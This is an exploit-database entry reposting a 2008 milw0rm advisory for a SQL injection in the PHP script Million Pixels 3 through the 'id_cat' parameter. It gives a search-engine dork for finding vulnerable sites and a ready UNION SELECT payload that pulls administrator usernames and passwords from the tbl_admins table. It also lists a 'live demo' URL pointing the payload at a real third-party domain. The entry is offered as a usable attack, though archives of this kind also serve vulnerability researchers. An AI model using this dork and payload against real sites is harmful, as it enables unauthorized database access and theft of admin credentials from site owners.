Exploit Million Pixels 3 - 'id_cat' SQL Injection

[Exploiter]

EDB-ID

6044

Проверка EDB

1. Пройдено

Автор

HUSSIN X

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-4055 cve-2008-3204

Дата публикации

2008-07-11

#################################################################
#
#   Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability
#
#========================================================
#                                                       =
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#                                                       =
#========================================================
#     
# script : http://e-topbiz.com/oprema/pages/millionpixels3.php
#
# DorK  :  inurl: "tops_top.php? id_cat ="     
#################################################################

Exploit:  


www.[target].com/Script/tops_top.php?id_cat=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,UserName,Password)/**/from/**/tbl_admins/*




L!VE DEMO:


http://e-topbiz.com/trafficdemos/pixel3/tops_top.php?id_cat=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,UserName,Password)/**/from/**/tbl_admins/*




########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #    
#         Iraqihack / FAHD / mos_chori / Silic0n            #
#                                                           #
#############################################################

                       Im IRAQi

# milw0rm.com [2008-07-11]